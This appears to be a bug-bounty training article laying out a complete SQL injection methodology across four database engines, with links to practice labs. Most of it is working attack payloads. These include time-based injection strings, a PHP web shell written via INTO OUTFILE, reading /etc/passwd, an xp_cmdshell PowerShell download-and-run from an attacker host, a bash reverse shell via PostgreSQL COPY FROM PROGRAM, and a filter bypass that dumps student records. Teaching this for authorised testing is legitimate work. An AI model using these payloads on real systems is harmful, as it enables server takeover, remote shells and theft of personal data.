Intermediate levelFree

SQL Injection — complete methodology with time-based, UNION and RCE

Detection via isomorphic queries, time-based payloads for 4 engines, escalation to RCE (xp_cmdshell, INTO OUTFILE, UDFs) and cross-field bypasses.

Gorka El BochiMay 9, 202614 min

Quick answer

SQLi is still active in 2026 — much less common in modern SaaS but abundant in legacy apps, admin panels and partially cross-validated fields. The methodology is: detect (isomorphic queries) → confirm (time-based on the identified engine) → extract (UNION or boolean-based) → escalate (RCE via OUTFILE, xp_cmdshell or UDFs). Typical bounties: €1,000-€5,000+ depending on severity.


Detection — isomorphic queries

Before aggressive payloads, try equivalent inputs that only give the same result if the query executes:

ContextTest ATest B (isomorphic)Signal
Numericid=1id=2-1Arithmetic executes
Numericid=1id=1+''String concat executes
LIKEq=Bigq=Big%%Wildcard % not escaped
Stringname=Bigname=Big' 'Quote not escaped

A successful double % reveals a LIKE context (not WHERE =). Lighter, less WAF detection, it identifies the exact context before throwing payloads.


Time-based payloads per engine

MySQL

sql
' AND SLEEP(5)-- -
" AND SLEEP(5)-- -
') AND SLEEP(5)-- -
' AND (SELECT SLEEP(5))-- -
1 AND SLEEP(5)-- -
' OR SLEEP(5)-- -
' AND BENCHMARK(10000000,SHA1('test'))-- -

MSSQL

sql
'; WAITFOR DELAY '0:0:5'-- -
"; WAITFOR DELAY '0:0:5'-- -
'); WAITFOR DELAY '0:0:5'-- -
1; WAITFOR DELAY '0:0:5'-- -

PostgreSQL

sql
'; SELECT pg_sleep(5)-- -
' AND (SELECT pg_sleep(5))-- -
1; SELECT pg_sleep(5)-- -
' || pg_sleep(5)-- -

SQLite

sql
' AND 1=RANDOMBLOB(500000000)-- -
" AND 1=RANDOMBLOB(500000000)-- -
') AND 1=RANDOMBLOB(500000000)-- -

Measure the latency: 200ms → 5+s confirms execution. Repeat 3 times to rule out a false positive from network jitter.


Engine identification

After confirming SQLi, identify:

TestIf it responds fastEngine
version()stringMySQL/PostgreSQL
@@versionMSSQL versionMSSQL
sqlite_version()"3.x"SQLite
' UNION SELECT @@version-- string in the responseMySQL/MSSQL
' AND 1=1::int--OKPostgreSQL

Precise engine identification unlocks the correct payloads.


SQL → RCE

When you get SQLi on an endpoint with sufficient privileges, it's RCE on the server. By engine:

MySQL — INTO OUTFILE web shell

sql
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -

Requirements: FILE privilege, knowing a writable path served by the web server.

MySQL — LOAD_FILE

sql
' UNION SELECT LOAD_FILE('/etc/passwd')-- -
' UNION SELECT LOAD_FILE(0x2f6574632f706173737764)-- -   # hex bypass de filtros

MSSQL — xp_cmdshell

sql
'; EXEC xp_cmdshell 'whoami'-- -
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -
'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker.tld/shell.ps1'')"'-- -

If xp_cmdshell is disabled, reconfiguring is usually enough (some SQL accounts have sp_configure permissions).

PostgreSQL — COPY FROM PROGRAM

sql
'; CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';-- -

'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/attacker.tld/4444 0>&1"';-- -

PostgreSQL — C UDF

sql
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('whoami');

Requires high privileges (SUPERUSER).


Cross-field bypass — the enrollment case

When filters are applied partially across different fields:

  • Field A (enrollmentNumber): enforces an exact length of 6 characters.
  • Field B (nationalId): strips single and double quotes.
scss
enrollmentNumber = 'OR ''            (6 chars exactos, satisface length)
nationalId      = =2 UNION SELECT CONCAT(...)-- -    (sin comillas, pasa quote filter)

The original query:

sql
WHERE a.enrollmentNumber = '$enrollmentNumber'
  AND a.nationalId = '$nationalId'

With the injection:

sql
WHERE a.enrollmentNumber='' OR ''' AND a.nationalId='=2 UNION SELECT...-- -'
  1. enrollmentNumber='' → false.
  2. OR ''' → closes and reopens quotes, turns AND a.nationalId=' into a string.
  3. The content of nationalId (without quotes) executes as SQL.

UNION without quotes using CHAR():

sql
=2 UNION SELECT CONCAT(STUDENTID, CHAR(32), STUDENTNAME, CHAR(32), NATIONALID, CHAR(32), EMAIL) FROM STUDENT WHERE STUDENTID = 10425-- -

Pattern to look for: apps with multiple fields where each has different validations. Partial filters on separate fields combine into a full bypass.


PostgreSQL double-dash injection

A curious case: a negative numeric parameter in an arithmetic operation.

sql
SELECT balance - ? FROM accounts   -- con param = -1
-- Interpola a: SELECT balance --1 FROM accounts
-- PostgreSQL trata "--1" como line comment (MySQL requiere whitespace después de --)

Requirements:

  • PostgreSQL (not MySQL/SQLite).
  • Simple query protocol (not extended/prepared statements).
  • A numeric parameter in an arithmetic context (balance - ?).

Escalation with a multi-line string + newline in another parameter breaks the comment and allows injecting arbitrary SQL.

Correct fix: wrap negatives in parentheses (-42).


Hunting methodology

less
[ ] Identificar todos los endpoints con parámetros numéricos
[ ] Aplicar isomorphic queries para detectar primer signal
[ ] Confirmar con time-based del motor identificado
[ ] Extracción mínima (database name, version)
[ ] Decisión: ¿UNION-based, boolean-based, time-based?
[ ] Si privileges altos: probar RCE (OUTFILE/xp_cmdshell/COPY FROM PROGRAM)
[ ] Documentar PoC completo con request + response visible

Burp + sqlmap is useful to automate parts, but manual first to identify the context.


Hunting checklist

  • Are there endpoints where the ID travels in the URL/body without clear parameterization?
  • Does the app have admin panels or legacy modules with direct SQL?
  • Are the errors verbose with DB stack traces?
  • Searches with LIKE (q=)? Try wildcards and quotes.
  • Numeric parameters in arithmetic operations? (postgres double-dash).
  • Multiple fields with different validations? → cross-field bypass.

Practice time-based, UNION extraction and SQLi → RCE on apps with four engines: SQL Injection labs.

Practice this in a lab

Sqli

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy